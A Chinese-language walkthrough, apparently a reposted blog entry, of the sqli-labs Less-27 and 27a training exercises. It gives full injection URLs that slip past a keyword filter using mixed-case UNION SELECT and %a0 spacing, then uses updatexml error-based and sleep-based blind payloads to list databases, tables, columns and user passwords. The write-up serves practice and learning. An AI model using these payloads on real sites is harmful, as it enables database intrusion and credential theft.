less27


;%00

查看源代码 可以使用报错注入

添加了select union的大小写输入

使用大小写混合输入的方式进行绕过处理


http://192.168.50.100/sqli/Less-27/?id=111‘ %a0 uNion %a0 sElect %a0 1, 2,
group_concat(schema_name) %a0 from %a0 information_schema.schemata ;%00 对
爆库时错误闭合语句{
http://192.168.50.100/sqli/Less-27/?id=111 %a0 uNion %a0 sElect %a0 1, 2, group_concat(schema_name) %a0 from %a0 information_schema.schemata ;%00 错
http://192.168.50.100/sqli/Less-27/?id=1 %a0 uNion %a0 sElect %a0 1, 2,group_concat(schema_name) %a0 from %a0 information_schema.schemata ;%00 错
http://192.168.50.100/sqli/Less-27/?id=1’ %a0 uNion %a0 sElect %a0 1, 2,group_concat(schema_name) %a0 from %a0 information_schema.schemata ;%00 错
} 自己思考一下
 
第二种方法 使用报错注入
http://192.168.50.100/sqli/Less-27/?id=1‘ %a0 ||
          %a0   updatexml(1, concat(0x7e, ( database()  ) ), 1)  %a0  || ‘1‘=‘1  

http://192.168.50.100/sqli/Less-27/?id=1‘  %a0 ||  updatexml(1, concat(0x7e, (  SEleCt %a0  schema_name  %a0 from  %a0   information_schema.schemata  %a0 limit %a0 1,1  ) ),1)  || %a0  ’1’=‘1  通过这样查,可以拿到所有的库信息。
http://192.168.50.100/sqli/Less-27/?id=1‘  %a0 ||  updatexml(1, concat(0x7e, (  SEleCt %a0  table_name  %a0 from  %a0   information_schema.tables %a0 where %a0 table_schema =  0x7365637572697479 %a0 limit %a0 1,1  ) ),1)  || %a0  ’1‘=‘1 通过遍历所有的表的值
http://192.168.50.100/sqli/Less-27/?id=1‘  %a0 ||  updatexml(1, concat(0x7e, ( SEleCt %a0  column_name %a0  from %a0  information_schema.columns %a0  where %a0   table_name = 0x7573657273  %a0 limit %a0 1,1  ) ),1)  || %a0  ’1‘=‘1 通过遍历取出所以都字段
http://192.168.50.100/sqli/Less-27/?id=1‘  %a0 ||  updatexml(1, concat(0x7e, (SElect %a0  concat_ws(0x7e,username,password) from  %a0  security.users  %a0 limit %a0 1,1  ) ),1)  || %a0 ‘1‘=‘1
 通过遍历的方法取出里面所有的字段值。
第三种方式 使用时间盲注
%26%26 代表 &&
http://192.168.50.100/sqli/Less-27/?id=1‘ 
%26%26 if( length(database())>1, 1, sleep(5) )  %26%26 %0a  ‘1‘=‘1
在句子后面不能使用or,因为使用or的情况下,无论如何情况返回都会是真。

less27a
和27关类似 闭合方式 变为”   说明存在注入漏洞 其他均和27相似

原文:https://www.cnblogs.com/xingyuner/p/12244195.html